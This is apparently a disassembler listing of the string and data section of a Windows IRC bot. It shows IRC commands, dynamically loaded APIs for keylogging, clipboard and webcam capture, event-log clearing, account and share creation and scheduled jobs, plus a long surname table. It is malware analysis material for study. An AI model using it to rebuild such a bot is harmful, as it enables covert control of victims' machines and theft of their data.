					; sub_4177D0:loc_417838o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177D0+50o
		align 4
asc_42D124:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DAEo
		unicode	0, <!>,0
asc_42D128:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Do ...
		unicode	0, < >,0
asc_42D12C	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402602o
		align 10h
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B13:loc_40A77Do
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B13+C15o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B13+C08o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B13+BFBo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B13+BEEo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B13+BE1o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B13:loc_40A6DFo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B13+B97o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B13+B8Fo
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B13+AD1o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B13:loc_40A5D7o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B13:loc_40A58Do
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
					; sub_4185A5+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B13+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B13+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B13+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B13+9B8o
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B13+9ABo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B13+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B13+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B13:loc_40A471o
					; sub_4185A5+58o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B13+921o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B13+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B13+90Co
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B13:loc_40A412o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B13+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B13+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B13+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B13+68Co
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B13+67Fo
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B13+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B13+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B13+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B13+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B13+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B13+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B13+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B13+617o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409B13+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B13+5FDo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B13+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B13+5D6o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B13+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B13+5BCo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B13+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B13+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B13+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B13+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B13+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B13+56Eo
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B13+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B13+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B13+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B13+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B13+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B13+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B13+514o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B13+4A1o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B13+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B13+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B13+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B13+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B13+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B13:loc_409F40o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B13:loc_409F18o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B13+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B13+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B13+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B13+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B13:loc_409E6Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B13+2C6o
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B13+2B9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B13+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B13+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B13+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B13:loc_409D72o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B13+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B13+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B13+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B13+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B13+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B13+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B13+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B13+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B13+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B13:loc_409C48o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B13+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B13+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B13+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B13+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B13+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B13+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B13+Ao
		align 4
unk_42DA2C	db  2Dh	; -		; DATA XREF: sub_40A7CF+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
		align 4
a_:					; DATA XREF: sub_40F96B+252o
		unicode	0, <.>,0
unk_42DBBC	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABF1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBEC	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABBFo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DC1C	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40AB8Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_42DC40	db  2Dh	; -		; DATA XREF: sub_40AB32+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC10+46o
					; sub_40BFEC+38o
aReal		db 'real',0
		align 10h
		dd 0
dword_42DC84	dd 0			; DATA XREF: sub_40B08E+7o
off_42DC88	dd offset sub_40ACB6	; DATA XREF: sub_40B08E+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD23h, 7474656Ch, 7265h, 0
		dd 2, 40AD81h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCEh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Ch, 736Fh, 2	dup(0)
		dd 5, 40AEE1h
off_42DCF0	dd offset aAbdulrazak	; DATA XREF: sub_40ACB6+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCFC	dd offset aAddison	; DATA XREF: sub_40B08E+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
